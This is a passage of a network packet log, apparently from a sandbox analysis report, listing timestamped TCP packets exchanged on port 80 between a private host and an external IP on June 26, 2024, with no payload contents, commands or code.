Jun 26, 2024 08:16:24.642920971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642927885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642935991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642942905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642951965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642961025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642970085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642987013 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.642997026 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.642996073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643007040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643009901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643013954 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.643026114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643034935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643043041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643049002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643060923 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.643060923 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.643066883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643076897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643117905 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.643117905 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.643214941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643224001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643239021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643246889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643254995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643261909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.643304110 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.643304110 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.643304110 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728141069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728172064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728188038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728228092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728235960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728245974 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728251934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728261948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728280067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728287935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728288889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728311062 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728327990 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728364944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728369951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728375912 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728379965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728389025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728394985 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728398085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728406906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728450060 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728450060 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728502035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728509903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728519917 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728528023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728535891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728543997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728553057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728570938 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728583097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728595018 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728609085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728637934 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728666067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728681087 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728708982 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728718042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728739023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728744030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728755951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728786945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728825092 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728831053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728840113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728853941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728859901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728868008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728877068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728884935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728888035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728919029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728931904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728940010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728955030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.728965998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728995085 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.728995085 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729038000 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729046106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729062080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729068041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729074955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729090929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729100943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729109049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729114056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729114056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729135990 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729438066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729456902 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729465008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729538918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729538918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729566097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729573965 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729589939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729605913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729614019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729623079 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729643106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729655027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729661942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729671001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729677916 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729702950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729723930 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729748011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729757071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729773045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729779959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729789972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729796886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729800940 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729805946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729855061 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729855061 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.729866028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729875088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729882956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729891062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729898930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729907036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.729964972 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730009079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730017900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730032921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730041027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730047941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730055094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730062962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730073929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730082035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730082035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730096102 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730103970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730117083 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730232954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730241060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730256081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730258942 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730263948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730273962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730288982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730297089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730303049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730305910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730326891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730365992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730390072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730407953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730415106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730431080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730438948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730453014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730457067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730457067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730462074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730470896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730479002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730487108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730511904 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730511904 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730513096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730539083 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730643988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730644941 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730654001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730662107 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730669022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730676889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730694056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730707884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730712891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730717897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730722904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730739117 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730787039 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730789900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730802059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730809927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730815887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730834007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730843067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730851889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730859995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730868101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730882883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.730884075 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730884075 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730911016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.730936050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.815973997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.815987110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.815995932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816039085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816046953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816055059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816063881 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816097975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816098928 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.816176891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.816176891 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.816204071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816224098 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816231012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816247940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816263914 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.816267014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816277027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816284895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816293955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816308975 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.816344023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816346884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.816346884 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.816351891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816368103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816376925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816382885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.816421986 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.816421986 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.816446066 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817071915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817147017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817152023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817156076 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817172050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817181110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817197084 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817204952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817222118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817241907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817265034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817274094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817281961 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817312002 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817312002 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817353010 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817373991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817382097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817398071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817405939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817421913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817430019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817439079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817445993 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817492962 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817497969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817506075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817512989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817514896 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817539930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817554951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817560911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817575932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817589045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817589045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817595959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817604065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817616940 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817622900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817631006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817647934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817656040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817671061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817672968 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817691088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817699909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817715883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817717075 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817717075 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817754984 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817780018 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817781925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817791939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817800045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817807913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817816973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817867041 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817867041 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817897081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817904949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817913055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817919970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817928076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.817967892 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.817967892 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818001032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818002939 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818011045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818027973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818036079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818042994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818052053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818100929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818100929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818139076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818146944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818161964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818170071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818178892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818195105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818202972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818209887 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818211079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818226099 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818229914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818252087 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818274021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818303108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818337917 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818340063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818350077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818366051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818375111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818406105 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818439007 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818545103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818553925 CEST	80	49713	85.28.47.4	192.168.2.6
